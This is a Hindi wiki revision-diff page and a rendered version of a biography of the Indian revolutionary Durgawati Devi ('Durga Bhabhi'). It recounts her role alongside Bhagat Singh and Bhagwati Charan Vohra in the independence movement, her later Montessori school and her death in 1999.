"दुर्गा भाभी" के अवतरणों में अंतर

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
पंक्ति 3: पंक्ति 3:
 
दुर्गावती देवी (दुर्गा भाभी) का जन्म 7 अक्टूबर सन 1907 को [[इलाहाबाद]], [[उत्तर प्रदेश]] के शहजादपुर नामक [[गाँव]] में पंडित बांके बिहारी के यहाँ हुआ था। उनके पिता इलाहाबाद कलेक्ट्रेट में नाजिर थे और उनके बाबा महेश प्रसाद भट्ट जालौन ज़िले में थानेदार के पद पर तैनात थे। उनके दादा पंडित शिवशंकर शहजादपुर में जमींदार थे, जो बचपन से ही दुर्गा भाभी की सभी बातों को पूर्ण करते थे। दस वर्ष की अल्प आयु में ही दुर्गा भाभी का [[विवाह]] लाहौर के भगवतीचरण बोहरा के साथ हो गया। उनके श्वसुर शिवचरण जी रेलवे में ऊंचे पद पर तैनात थे। [[अंग्रेज़]] सरकार ने उन्हें 'राय साहब' का खिताब दिया था।
 
दुर्गावती देवी (दुर्गा भाभी) का जन्म 7 अक्टूबर सन 1907 को [[इलाहाबाद]], [[उत्तर प्रदेश]] के शहजादपुर नामक [[गाँव]] में पंडित बांके बिहारी के यहाँ हुआ था। उनके पिता इलाहाबाद कलेक्ट्रेट में नाजिर थे और उनके बाबा महेश प्रसाद भट्ट जालौन ज़िले में थानेदार के पद पर तैनात थे। उनके दादा पंडित शिवशंकर शहजादपुर में जमींदार थे, जो बचपन से ही दुर्गा भाभी की सभी बातों को पूर्ण करते थे। दस वर्ष की अल्प आयु में ही दुर्गा भाभी का [[विवाह]] लाहौर के भगवतीचरण बोहरा के साथ हो गया। उनके श्वसुर शिवचरण जी रेलवे में ऊंचे पद पर तैनात थे। [[अंग्रेज़]] सरकार ने उन्हें 'राय साहब' का खिताब दिया था।
  
भगवतीचरण बोहरा राय साहब का पुत्र होने के बावजूद अंग्रेज़ों की दासता से देश को मुक्त कराना चाहते थे। वे क्रांतिकारी संगठन के प्रचार सचिव थे। वर्ष [[1920]] में पिता की मृत्यु के पश्चात भगवतीचरण वोहरा खुलकर क्रांति में आ गए और उनकी पत्‍‌नी दुर्गा भाभी ने भी पूर्ण रूप से सहयोग किया। सन [[1923]] में भगवतीचरण वोहरा ने नेशनल कॉलेज से बी.ए. की परीक्षा उत्तीर्ण की और दुर्गा भाभी ने प्रभाकर की डिग्री हासिल की। दुर्गा भाभी का मायका व ससुराल दोनों पक्ष संपन्न थे। श्वसुर शिवचरण जी ने दुर्गा भाभी को 40 हज़ार व पिता बांके बिहारी ने 5 हज़ार रुपये संकट के दिनों में काम आने के लिए दिए थे, लेकिन इस दंपती ने इन पैसों का उपयोग क्रांतिकारियों के साथ मिलकर देश को आज़ाद कराने में किया। [[मार्च]], [[1926]] में भगवतीचरण वोहरा व [[भगतसिंह]] ने संयुक्त रूप से 'नौजवान भारत सभा' का प्रारूप तैयार किया और रामचंद्र कपूर के साथ मिलकर इसकी स्थापना की। सैकड़ों नौजवानों ने देश को आज़ाद कराने के लिए अपने प्राणों का बलिदान वेदी पर चढ़ाने की शपथ ली। भगतसिंह व भगवतीचरण वोहरा सहित सदस्यों ने अपने [[रक्त]] से प्रतिज्ञा पत्र पर हस्ताक्षर किए। [[28 मई]], [[1930]] को [[रावी नदी]] के तट पर साथियों के साथ बम बनाने के बाद परीक्षण करते समय वोहरा जी शहीद हो गए। उनके शहीद होने के बावजूद दुर्गा भाभी साथी क्रांतिकारियों के साथ सक्रिय रहीं।
+
भगवतीचरण बोहरा राय साहब का पुत्र होने के बावजूद अंग्रेज़ों की दासता से देश को मुक्त कराना चाहते थे। वे क्रांतिकारी संगठन के प्रचार सचिव थे। वर्ष [[1920]] में पिता की मृत्यु के पश्चात भगवतीचरण वोहरा खुलकर क्रांति में आ गए और उनकी पत्‍‌नी दुर्गा भाभी ने भी पूर्ण रूप से सहयोग किया। सन [[1923]] में भगवतीचरण वोहरा ने नेशनल कॉलेज से बी.ए. की परीक्षा उत्तीर्ण की और दुर्गा भाभी ने प्रभाकर की डिग्री हासिल की। दुर्गा भाभी का मायका व ससुराल दोनों पक्ष संपन्न थे। श्वसुर शिवचरण जी ने दुर्गा भाभी को 40 हज़ार व पिता बांके बिहारी ने 5 हज़ार रुपये संकट के दिनों में काम आने के लिए दिए थे, लेकिन इस दंपती ने इन पैसों का उपयोग क्रांतिकारियों के साथ मिलकर देश को आज़ाद कराने में किया। [[मार्च]], [[1926]] में भगवतीचरण वोहरा व [[भगतसिंह]] ने संयुक्त रूप से 'नौजवान भारत सभा' का प्रारूप तैयार किया और रामचंद्र कपूर के साथ मिलकर इसकी स्थापना की। सैकड़ों नौजवानों ने देश को आज़ाद कराने के लिए अपने प्राणों का बलिदान वेदी पर चढ़ाने की शपथ ली। भगतसिंह व भगवतीचरण वोहरा सहित सदस्यों ने अपने [[रक्त]] से प्रतिज्ञा पत्र पर हस्ताक्षर किए।  
  
 +
[[16 नवंबर]], [[1926]] का वह दिन था जब लाहौर में भगतसिंह, भगवतीचरण बोहरा समेत कई क्रांतिकारी इकट्ठे थे। बीच में एक तस्वीर पर माला पड़ी हुई थी। वह तस्वीर थी [[भारत]] की आज़ादी के लिए शहीद हो जाने वाले प्रसिद्ध क्रांतिकारी [[करतार सिंह सराभा]] की। 19 साल की उम्र में [[अमेरिका]] से अपने साथियों सहित भारत आकर सभी सैनिक छावनियों में सैनिक विद्रोह करने की योजना के साथ आए करतार सिंह सराभा को [[1915]] में फांसी पर चढ़ा दिया गया था। उनकी ग्यारहवीं बरसी पर गुरु मानकर करतार की तस्वीर हमेशा अपने साथ रखने वाले भगतसिंह ने एक दमदार भाषण दिया। उसमें भगतसिंह ने चंडी मां की बात करते हुए फिरंगियों को बाहर निकालने का आह्वान किया था। उनके भाषण से एक महिला इतने जोश में आई कि आगे बढ़कर भगतसिंह के माथे पर तिलक लगा दिया। ये थीं दुर्गा भाभी। [[28 मई]], [[1930]] को जब [[रावी नदी]] के तट पर साथियों के साथ बम बनाने के बाद परीक्षण करते समय भगवतीचरण बोहरा शहीद हो गए, तब उनके बाद दुर्गा भाभी साथी क्रांतिकारियों के साथ सक्रिय रहीं।
 +
==क्रांतिकारी गतिविधियाँ==
 +
क्रांतिकारियों के संगठन 'हिंदुस्तान रिपब्लिकन सोशलिस्ट एसोसिएशन' के मास्टर ब्रेन प्रोफ़ेसर भगवतीचरण बोहरा थे। उनको ना सिर्फ बम बनाने में महारथ हासिल थी बल्कि वह अपने संगठन के ब्रेन भी कहे जाते थे। भगतसिंह के संगठन 'नौजवान भारत सभा' का घोषणापत्र भगवतीचरण जी ने ही तैयार किया था। जब चंद्रशेखर आज़ाद की अगुआई में 'हिंदुस्तान सोशलिस्ट रिपब्लिकन एसोसिएशन' के रूप में [[दिल्ली]] के फ़िरोज़शाह कोटला मैदान में फिर से गठन हुआ, तो भगवती को ही उसके प्रचार की जिम्मेदारी दी गई। संगठन के घोषणापत्र को भी भगवती जी ने ही चंद्रशेखर आज़ाद के सहयोग से तैयार किया, जो [[कांग्रेस]] के लाहौर अधिवेशन में जमकर बांटा गया और पढ़ा गया। [[महात्मा गाँधी]] और उनकी अहिंसा की नीतियों में भरोसे के बावजूद तमाम कांग्रेसी नेता इन क्रांतिकारियों को काफ़ी पसंद करते थे।
 +
 +
जब [[आगरा]] से आते वक्त [[लॉर्ड इरविन]] की स्पेशल ट्रेन पर बम फेंका गया तो पूरी योजना भगवतीचरण बोहरा की थी। [[यशपाल]] का बम रखने में अहम रोल था। गुस्से में महात्मा गाँधी ने [[समाचार पत्र]] ‘यंग इंडिया’ के [[2 जनवरी]] के एडीशन में एक आर्टीकल लिखा- ‘कल्ट ऑफ़ बम’, जिसमें गांधी जी ने बम समेत तमाम हिंसावादी तरीकों की आलोचना की। उन्होंने बम जैसे तरीकों से मिली आज़ादी पर सवाल उठाए। ऐसे तरीकों को कायरतापूर्ण बताया। गांधी जी सब के लिए पूज्य थे। उन पर सीधे कोई सवाल नहीं उठाता था, लेकिन भगवतीचरण बोहरा ने तथ्यों के आधार पर पहली बार गांधी जी को जवाब देने की ठान ही ली। [[चंद्रशेखर आज़ाद]] ने भी इस जवाब को तैयार करने में उनकी मदद की। उस लेख का नाम रखा गया- ‘फिलॉसफी ऑफ़ बम’,  जिसमें लिखा था- "There is no crime that Britain has not committed in India. Deliberate misrule has reduced us to paupers, has ‘bled us white’. As a race and a people we stand dishonoured and outraged. Do people still expect us to forget and to forgive? We shall have our revenge – a people’s righteous revenge on the tyrant. Let cowards fall back and cringe for compromise and peace. We ask not for mercy and we give no quarter. Ours is a war to the end – to Victory or Death".
  
 +
दुर्गा भाभी ऐसे माहौल में रह रही थीं तो उनके विचारों में भी क्रांति का प्रभाव आना ही था। वह भी अपने पति भगवतीचरण बोहरा से बम बनाना सीख गईं। संगठन के एक सदस्य विमल प्रसाद जैन ने कुतुब रोड, दिल्ली में हिमालयन टॉयलेट्स नाम से एक फैक्ट्री खोल रखी थी, जो असल में बम बनाने की फैक्ट्री थी, जहां दुर्गा और उनके पति बम बनाने में सहयोग करते थे।
 +
==भगतसिंह की सहायक==
 +
[[19 दिसम्बर]], [[1928]] का दिन था। [[भगतसिंह]] और [[सुखदेव]] सांडर्स को गोली मारने के दो दिन बाद सीधे दुर्गा भाभी के घर पहुंचे। भगतसिंह जिस नए रूप में थे, उसमें दुर्गा उन्हें पहचान नहीं पाईं। भगतसिंह ने अपने बाल कटा लिए थे, हालांकि दुर्गा इस बात से खुश नहीं थीं कि स्कॉट बच गया; क्योंकि इससे पहले हुई एक मीटिंग में दुर्गा भाभी ने खुद स्कॉट को मारने का ऑपरेशन अपने हाथ में लेने की गुजारिश की थी, लेकिन बाकी क्रांतिकारियों ने उन्हें रोक लिया था। [[लाला लाजपत राय]] पर हुए लाठीचार्ज और उसके चलते हुई मौत को लेकर उनके दिल में काफ़ी गुस्सा भरा हुआ था। इधर [[लाहौर]] के चप्पे-चप्पे पर पुलिस तैनात थी। दुर्गा ने उन्हें [[कोलकाता]] निकलने की सलाह दी। उस वक्त कांग्रेस का अधिवेशन कोलकाता में चल रहा था और भगवतीचरण बोहरा भी उसमें भाग लेने गए थे।
 +
 +
तीनों अगले दिन लाहौर रेलवे स्टेशन पहुंचे। सूट-बूट और हैट पहने हुए भगतसिंह, उनके साथ उनका सामान उठाए नौकर के रूप में [[राजगुरु]] और थोड़ा पीछे अपने बच्चे के साथ आतीं दुर्गा देवी। दो फर्स्ट क्लास कम्पार्टमेंट की टिकटें लेकर भगतसिंह और दुर्गा मियां-बीवी की तरह बैठ गए और नौकर वाले कम्पार्टमेंट में राजगुरु बैठ गए। इसी ट्रेन में एक तीसरे डिब्बे में चंद्रशेखर आज़ाद भी थे, जो तीर्थयात्रियों के ग्रुप में शामिल होकर [[रामायण]] की चौपाइयां गाते हुए सफर कर रहे थे। पांच सौ पुलिस वाले ट्रेन और प्लेटफॉर्म पर थे। ऐसे में सभी का बचकर निकलना चमत्कार जैसा था। दुर्गा भाभी की वजह से देश के महान क्रांतिकारियों की जान बच गई थी। ट्रेन सीधे कोलकाता की नहीं ली, क्योंकि सबकी नजर थी। चंद्रशेखर आज़ाद रास्ते में रुक गए। [[कानपुर]] से उन्होंने [[लखनऊ]] के लिए ट्रेन ली। दुर्गा भाभी ने लखनऊ से भगवतीचरण बोहरा को टेलीग्राम भेजा कि वह आ रही हैं, लेने हावड़ा स्टेशन आ जाएं। वहाँ से उन्होंने हावड़ा स्टेशन की ट्रेन ली। सीआईडी हावड़ा स्टेशन पर तैनात थी, लेकिन वह सीधे [[लाहौर]] से आने वाली ट्रेन पर नजर रख रही थी। सब लोग सुरक्षित निकल गए। राजगुरु पहले ही [[बनारस]] के लिए निकल चुके थे।
 +
 +
दुर्गा भाभी यानी दुर्गावती देवी मूल रूप से बंगाली थीं। [[कोलकाता]] में कुछ दिन रहकर वहाँ के कई क्रांतिकारियों से मुलाकात की। वहाँ से वह फिर बच्चे के साथ लाहौर आ गईं, लेकिन इतने बड़े क्रांतिकारियों को इतना बड़ा खतरा मोल लेकर ब्रिटिश पुलिस की नाक के नीचे से निकाल कर ले जाने का जो काम उन्होंने किया था, उसका उन्हें आज़ादी के बाद भी श्रेय नहीं मिला। उसके बाद असेम्बली बम कांड के बाद [[भगतसिंह]] आदि क्रांतिकारी गिरफ्तार हो गए। दुर्गा भाभी ने उन्हें छुड़ाने के लिए वकील को पैसे देने की खातिर अपने सारे गहने बेच दिए। तीन हज़ार रुपए वकील को दिए। फिर [[महात्मा गाँधी]] से भी अपील की कि भगतसिंह और बाकी क्रांतिकारियों के लिए कुछ करें। दुर्गा भाभी की ननद सुशीला देवी भी कम नहीं थीं। उन्होंने अपने [[विवाह]] के लिए रखा दस तोला [[सोना]] भी क्रांतिकारियों के केस लड़ने के लिए उस वक्त बेच दिया था। सुशीला और दुर्गा ने ही असेम्बली बम कांड के लिए जाते भगतसिंह और [[बटुकेश्वर दत्त]] को माथे पर तिलक लगाकर विदा किया था।
 +
==पति की मृत्यु==
 +
इधर 63 दिन की भूख हड़ताल के बाद लाहौर जेल में ही [[जतिन्द्रनाथ दास]] यानी जतिन दा की मौत हो गई तो उनकी लाहौर से लेकर [[कोलकाता]] तक ट्रेन में और कोलकाता में भी अंतिम यात्रा की अगुवाई दुर्गा भाभी ने ही की। इधर उनके पति [[भगवतीचरण बोहरा]] ने [[लॉर्ड इरविन]] की ट्रेन पर बम फेंकने के बाद भगतसिंह, राजगुरु और सुखदेव समेत सभी क्रांतिकारियों को छुड़ाने की योजना बनाई और इसके लिए वह [[रावी नदी]] के तट पर लाहौर में बम का परीक्षण कर रहे थे। [[28 मई]], [[1930]] का दिन था कि अचानक बम फट गया और भगवतीचरण बोहरा की मौत हो गई। दुर्गा भाभी को बड़ा झटका लगा, लेकिन वह जल्द ही उबर गईं और देश की आज़ादी को ही अपने जीवन का आखिरी लक्ष्य मान लिया। तब दुर्गा भाभी ने अंग्रेज़ों को सबक सिखाने के लिए [[पंजाब]] प्रांत के पूर्व गवर्नर लॉर्ड हैली पर हमला करने की योजना बनाई। दुर्गा भाभी ने उस पर [[9 अक्टूबर]], 1930 को बम फेंक भी दिया। हैली और उसके कई सहयोगी घायल हो गए, लेकिन वह घायल होकर भी बच गया। उसके बाद दुर्गा भाभी बचकर निकल गईं, लेकिन जब [[मुंबई]] से पकड़ी गईं तो उन्हें तीन साल के लिए जेल भेज दिया गया। बताया तो ये भी जाता है कि [[चंद्रशेखर आज़ाद]] के पास आखिरी वक्त में जो माउजर था, वह भी दुर्गा भाभी ने ही उनको दिया था।
 +
==मांटेसरी स्कूल की शुरुआत==
 +
एक-एक करके जब सारे क्रांतिकारी इस दुनिया में नहीं रहे तो दुर्गा भाभी के लिए काफ़ी मुश्किल हो गई। बेटा भी बड़ा हो रहा था और पुलिस भी उन्हें बार-बार परेशान कर रही थी। [[लाहौर]] से उन्हें ज़िला बदर कर दिया गया। ऐसे में वह [[1935]] में [[गाज़ियाबाद]] निकल आईं, जहां उन्होंने एक स्कूल में अध्यापिका की नौकरी कर ली। दो साल के लिए [[कांग्रेस]] के साथ भी काम किया, लेकिन फिर छोड़ दिया। फिर उन्होंने [[मद्रास]] जाकर मांटेसरी सिस्टम की ट्रेनिंग ली और फिर [[लखनऊ]] में कैंट रोड पर एक मांटेसरी स्कूल खोला। शुरू में जिसमें सिर्फ पांच बच्चे थे। आज़ादी के बाद उन्होंने सत्ता और नेताओं से काफ़ी दूरी बना ली। [[1956]] में जब [[जवाहरलाल नेहरू]] को उनके बारे में पता चला तो लखनऊ में उनके स्कूल में एक बार मिलने आए। नेहरू जी ने उनकी मदद करने की पेशकश भी की थी। कहा जाता है कि दुर्गा भाभी ने विनम्रता से मना कर दिया था। दुर्गा भाभी को मांटेसरी स्कूलिंग सिस्टम के शुरुआती लोगों में गिना जाता है।
 +
==मृत्यु==
 +
मीडिया और सत्ताधीशों को दुर्गा भाभी की आखिरी खबर [[15 अक्टूबर]], [[1999]] के दिन मिली, जब [[गाज़ियाबाद]] के एक कमरे में उनकी मौत हो गई। तब वह 92 साल की थीं। ये शायद उनके पति के विचारों का ही उन पर प्रभाव था कि पहाड़ जैसी जिंदगी अकेले ही और इतने साहस के साथ गुजार दी और ना जाने कितनों को साहस से जीने की प्रेरणा दी। दुर्गा भाभी ने देश के लिए, उसकी आज़ादी के लिए अपने पति, [[परिवार]], बच्चा और एक खुशहाल जीवन सब कुछ दांव पर लगा दिया, लेकिन आज़ादी के बाद जिस तरह से उन्होंने गुमनामी की चादर ओढ़ी और खुद को बच्चों की एजुकेशन तक सीमित कर लिया, वह वाकई हैरतअंगेज था। शायद ये उनके सपनों का [[भारत]] नहीं था, जैसा उन्होंने कभी कल्पना की थी।
  
  
पंक्ति 11: पंक्ति 29:
 
==बाहरी कड़ियाँ==
 
==बाहरी कड़ियाँ==
 
*[http://www.mainstree.com/krantikaari_durgabhabhi.html एक सक्रिय क्रांतिकारी दुर्गा भाभी]
 
*[http://www.mainstree.com/krantikaari_durgabhabhi.html एक सक्रिय क्रांतिकारी दुर्गा भाभी]
 +
*[http://www.inkhabar.com/national/32114-durga-bhabhi-saved-life-bhagat-singh-during-freedom-movement बम-पिस्तौल से खेलने वाली दुर्गा भाभी ने बचाई थी भगत सिंह की जान]
 +
*[http://inextlive.jagran.com/durga-bhabhi-67299 दुर्गा भाभी ने देश के लिए दे दी जान]
 
==संबंधित लेख==
 
==संबंधित लेख==
 
{{स्वतन्त्रता सेनानी}}
 
{{स्वतन्त्रता सेनानी}}
 
[[Category:स्वतन्त्रता सेनानी]][[Category:इतिहास कोश]][[Category:चरित कोश]]
 
[[Category:स्वतन्त्रता सेनानी]][[Category:इतिहास कोश]][[Category:चरित कोश]]
 
__INDEX__
 
__INDEX__

10:33, 1 सितम्बर 2017 का अवतरण

दुर्गावती देवी (अंग्रेज़ी: Durgawati Devi, जन्म- 7 अक्टूबर, 1907; मृत्यु- 15 अक्टूबर, 1999, गाज़ियाबाद) भारत के स्वतंत्रता संग्राम में क्रान्तिकारियों की प्रमुख सहयोगी थीं। प्रसिद्ध क्रांतिकारी भगतसिंह के साथ इन्हीं दुर्गावती देवी ने 18 दिसम्बर, 1928 को वेश बदलकर कलकत्ता मेल से यात्रा की थी। चन्द्रशेखर आज़ाद के अनुरोध पर 'दि फिलॉसफी ऑफ़ बम' दस्तावेज तैयार करने वाले क्रांतिकारी भगवतीचरण बोहरा की पत्नी दुर्गावती बोहरा क्रांतिकारियों के बीच 'दुर्गा भाभी' के नाम से मशहूर थीं। सन 1927 में लाला लाजपतराय की मौत का बदला लेने के लिये लाहौर में बुलायी गई बैठक की अध्यक्षता दुर्गा भाभी ने की थी। तत्कालीन बम्बई के गर्वनर हेली को मारने की योजना में टेलर नामक एक अंग्रेज़ अफ़सर घायल हो गया था, जिस पर गोली दुर्गा भाभी ने ही चलायी थी।

परिचय

दुर्गावती देवी (दुर्गा भाभी) का जन्म 7 अक्टूबर सन 1907 को इलाहाबाद, उत्तर प्रदेश के शहजादपुर नामक गाँव में पंडित बांके बिहारी के यहाँ हुआ था। उनके पिता इलाहाबाद कलेक्ट्रेट में नाजिर थे और उनके बाबा महेश प्रसाद भट्ट जालौन ज़िले में थानेदार के पद पर तैनात थे। उनके दादा पंडित शिवशंकर शहजादपुर में जमींदार थे, जो बचपन से ही दुर्गा भाभी की सभी बातों को पूर्ण करते थे। दस वर्ष की अल्प आयु में ही दुर्गा भाभी का विवाह लाहौर के भगवतीचरण बोहरा के साथ हो गया। उनके श्वसुर शिवचरण जी रेलवे में ऊंचे पद पर तैनात थे। अंग्रेज़ सरकार ने उन्हें 'राय साहब' का खिताब दिया था।

भगवतीचरण बोहरा राय साहब का पुत्र होने के बावजूद अंग्रेज़ों की दासता से देश को मुक्त कराना चाहते थे। वे क्रांतिकारी संगठन के प्रचार सचिव थे। वर्ष 1920 में पिता की मृत्यु के पश्चात भगवतीचरण वोहरा खुलकर क्रांति में आ गए और उनकी पत्‍‌नी दुर्गा भाभी ने भी पूर्ण रूप से सहयोग किया। सन 1923 में भगवतीचरण वोहरा ने नेशनल कॉलेज से बी.ए. की परीक्षा उत्तीर्ण की और दुर्गा भाभी ने प्रभाकर की डिग्री हासिल की। दुर्गा भाभी का मायका व ससुराल दोनों पक्ष संपन्न थे। श्वसुर शिवचरण जी ने दुर्गा भाभी को 40 हज़ार व पिता बांके बिहारी ने 5 हज़ार रुपये संकट के दिनों में काम आने के लिए दिए थे, लेकिन इस दंपती ने इन पैसों का उपयोग क्रांतिकारियों के साथ मिलकर देश को आज़ाद कराने में किया। मार्च, 1926 में भगवतीचरण वोहरा व भगतसिंह ने संयुक्त रूप से 'नौजवान भारत सभा' का प्रारूप तैयार किया और रामचंद्र कपूर के साथ मिलकर इसकी स्थापना की। सैकड़ों नौजवानों ने देश को आज़ाद कराने के लिए अपने प्राणों का बलिदान वेदी पर चढ़ाने की शपथ ली। भगतसिंह व भगवतीचरण वोहरा सहित सदस्यों ने अपने रक्त से प्रतिज्ञा पत्र पर हस्ताक्षर किए।

16 नवंबर, 1926 का वह दिन था जब लाहौर में भगतसिंह, भगवतीचरण बोहरा समेत कई क्रांतिकारी इकट्ठे थे। बीच में एक तस्वीर पर माला पड़ी हुई थी। वह तस्वीर थी भारत की आज़ादी के लिए शहीद हो जाने वाले प्रसिद्ध क्रांतिकारी करतार सिंह सराभा की। 19 साल की उम्र में अमेरिका से अपने साथियों सहित भारत आकर सभी सैनिक छावनियों में सैनिक विद्रोह करने की योजना के साथ आए करतार सिंह सराभा को 1915 में फांसी पर चढ़ा दिया गया था। उनकी ग्यारहवीं बरसी पर गुरु मानकर करतार की तस्वीर हमेशा अपने साथ रखने वाले भगतसिंह ने एक दमदार भाषण दिया। उसमें भगतसिंह ने चंडी मां की बात करते हुए फिरंगियों को बाहर निकालने का आह्वान किया था। उनके भाषण से एक महिला इतने जोश में आई कि आगे बढ़कर भगतसिंह के माथे पर तिलक लगा दिया। ये थीं दुर्गा भाभी। 28 मई, 1930 को जब रावी नदी के तट पर साथियों के साथ बम बनाने के बाद परीक्षण करते समय भगवतीचरण बोहरा शहीद हो गए, तब उनके बाद दुर्गा भाभी साथी क्रांतिकारियों के साथ सक्रिय रहीं।

क्रांतिकारी गतिविधियाँ

क्रांतिकारियों के संगठन 'हिंदुस्तान रिपब्लिकन सोशलिस्ट एसोसिएशन' के मास्टर ब्रेन प्रोफ़ेसर भगवतीचरण बोहरा थे। उनको ना सिर्फ बम बनाने में महारथ हासिल थी बल्कि वह अपने संगठन के ब्रेन भी कहे जाते थे। भगतसिंह के संगठन 'नौजवान भारत सभा' का घोषणापत्र भगवतीचरण जी ने ही तैयार किया था। जब चंद्रशेखर आज़ाद की अगुआई में 'हिंदुस्तान सोशलिस्ट रिपब्लिकन एसोसिएशन' के रूप में दिल्ली के फ़िरोज़शाह कोटला मैदान में फिर से गठन हुआ, तो भगवती को ही उसके प्रचार की जिम्मेदारी दी गई। संगठन के घोषणापत्र को भी भगवती जी ने ही चंद्रशेखर आज़ाद के सहयोग से तैयार किया, जो कांग्रेस के लाहौर अधिवेशन में जमकर बांटा गया और पढ़ा गया। महात्मा गाँधी और उनकी अहिंसा की नीतियों में भरोसे के बावजूद तमाम कांग्रेसी नेता इन क्रांतिकारियों को काफ़ी पसंद करते थे।

जब आगरा से आते वक्त लॉर्ड इरविन की स्पेशल ट्रेन पर बम फेंका गया तो पूरी योजना भगवतीचरण बोहरा की थी। यशपाल का बम रखने में अहम रोल था। गुस्से में महात्मा गाँधी ने समाचार पत्र ‘यंग इंडिया’ के 2 जनवरी के एडीशन में एक आर्टीकल लिखा- ‘कल्ट ऑफ़ बम’, जिसमें गांधी जी ने बम समेत तमाम हिंसावादी तरीकों की आलोचना की। उन्होंने बम जैसे तरीकों से मिली आज़ादी पर सवाल उठाए। ऐसे तरीकों को कायरतापूर्ण बताया। गांधी जी सब के लिए पूज्य थे। उन पर सीधे कोई सवाल नहीं उठाता था, लेकिन भगवतीचरण बोहरा ने तथ्यों के आधार पर पहली बार गांधी जी को जवाब देने की ठान ही ली। चंद्रशेखर आज़ाद ने भी इस जवाब को तैयार करने में उनकी मदद की। उस लेख का नाम रखा गया- ‘फिलॉसफी ऑफ़ बम’, जिसमें लिखा था- "There is no crime that Britain has not committed in India. Deliberate misrule has reduced us to paupers, has ‘bled us white’. As a race and a people we stand dishonoured and outraged. Do people still expect us to forget and to forgive? We shall have our revenge – a people’s righteous revenge on the tyrant. Let cowards fall back and cringe for compromise and peace. We ask not for mercy and we give no quarter. Ours is a war to the end – to Victory or Death".

दुर्गा भाभी ऐसे माहौल में रह रही थीं तो उनके विचारों में भी क्रांति का प्रभाव आना ही था। वह भी अपने पति भगवतीचरण बोहरा से बम बनाना सीख गईं। संगठन के एक सदस्य विमल प्रसाद जैन ने कुतुब रोड, दिल्ली में हिमालयन टॉयलेट्स नाम से एक फैक्ट्री खोल रखी थी, जो असल में बम बनाने की फैक्ट्री थी, जहां दुर्गा और उनके पति बम बनाने में सहयोग करते थे।

भगतसिंह की सहायक

19 दिसम्बर, 1928 का दिन था। भगतसिंह और सुखदेव सांडर्स को गोली मारने के दो दिन बाद सीधे दुर्गा भाभी के घर पहुंचे। भगतसिंह जिस नए रूप में थे, उसमें दुर्गा उन्हें पहचान नहीं पाईं। भगतसिंह ने अपने बाल कटा लिए थे, हालांकि दुर्गा इस बात से खुश नहीं थीं कि स्कॉट बच गया; क्योंकि इससे पहले हुई एक मीटिंग में दुर्गा भाभी ने खुद स्कॉट को मारने का ऑपरेशन अपने हाथ में लेने की गुजारिश की थी, लेकिन बाकी क्रांतिकारियों ने उन्हें रोक लिया था। लाला लाजपत राय पर हुए लाठीचार्ज और उसके चलते हुई मौत को लेकर उनके दिल में काफ़ी गुस्सा भरा हुआ था। इधर लाहौर के चप्पे-चप्पे पर पुलिस तैनात थी। दुर्गा ने उन्हें कोलकाता निकलने की सलाह दी। उस वक्त कांग्रेस का अधिवेशन कोलकाता में चल रहा था और भगवतीचरण बोहरा भी उसमें भाग लेने गए थे।

तीनों अगले दिन लाहौर रेलवे स्टेशन पहुंचे। सूट-बूट और हैट पहने हुए भगतसिंह, उनके साथ उनका सामान उठाए नौकर के रूप में राजगुरु और थोड़ा पीछे अपने बच्चे के साथ आतीं दुर्गा देवी। दो फर्स्ट क्लास कम्पार्टमेंट की टिकटें लेकर भगतसिंह और दुर्गा मियां-बीवी की तरह बैठ गए और नौकर वाले कम्पार्टमेंट में राजगुरु बैठ गए। इसी ट्रेन में एक तीसरे डिब्बे में चंद्रशेखर आज़ाद भी थे, जो तीर्थयात्रियों के ग्रुप में शामिल होकर रामायण की चौपाइयां गाते हुए सफर कर रहे थे। पांच सौ पुलिस वाले ट्रेन और प्लेटफॉर्म पर थे। ऐसे में सभी का बचकर निकलना चमत्कार जैसा था। दुर्गा भाभी की वजह से देश के महान क्रांतिकारियों की जान बच गई थी। ट्रेन सीधे कोलकाता की नहीं ली, क्योंकि सबकी नजर थी। चंद्रशेखर आज़ाद रास्ते में रुक गए। कानपुर से उन्होंने लखनऊ के लिए ट्रेन ली। दुर्गा भाभी ने लखनऊ से भगवतीचरण बोहरा को टेलीग्राम भेजा कि वह आ रही हैं, लेने हावड़ा स्टेशन आ जाएं। वहाँ से उन्होंने हावड़ा स्टेशन की ट्रेन ली। सीआईडी हावड़ा स्टेशन पर तैनात थी, लेकिन वह सीधे लाहौर से आने वाली ट्रेन पर नजर रख रही थी। सब लोग सुरक्षित निकल गए। राजगुरु पहले ही बनारस के लिए निकल चुके थे।

दुर्गा भाभी यानी दुर्गावती देवी मूल रूप से बंगाली थीं। कोलकाता में कुछ दिन रहकर वहाँ के कई क्रांतिकारियों से मुलाकात की। वहाँ से वह फिर बच्चे के साथ लाहौर आ गईं, लेकिन इतने बड़े क्रांतिकारियों को इतना बड़ा खतरा मोल लेकर ब्रिटिश पुलिस की नाक के नीचे से निकाल कर ले जाने का जो काम उन्होंने किया था, उसका उन्हें आज़ादी के बाद भी श्रेय नहीं मिला। उसके बाद असेम्बली बम कांड के बाद भगतसिंह आदि क्रांतिकारी गिरफ्तार हो गए। दुर्गा भाभी ने उन्हें छुड़ाने के लिए वकील को पैसे देने की खातिर अपने सारे गहने बेच दिए। तीन हज़ार रुपए वकील को दिए। फिर महात्मा गाँधी से भी अपील की कि भगतसिंह और बाकी क्रांतिकारियों के लिए कुछ करें। दुर्गा भाभी की ननद सुशीला देवी भी कम नहीं थीं। उन्होंने अपने विवाह के लिए रखा दस तोला सोना भी क्रांतिकारियों के केस लड़ने के लिए उस वक्त बेच दिया था। सुशीला और दुर्गा ने ही असेम्बली बम कांड के लिए जाते भगतसिंह और बटुकेश्वर दत्त को माथे पर तिलक लगाकर विदा किया था।

पति की मृत्यु

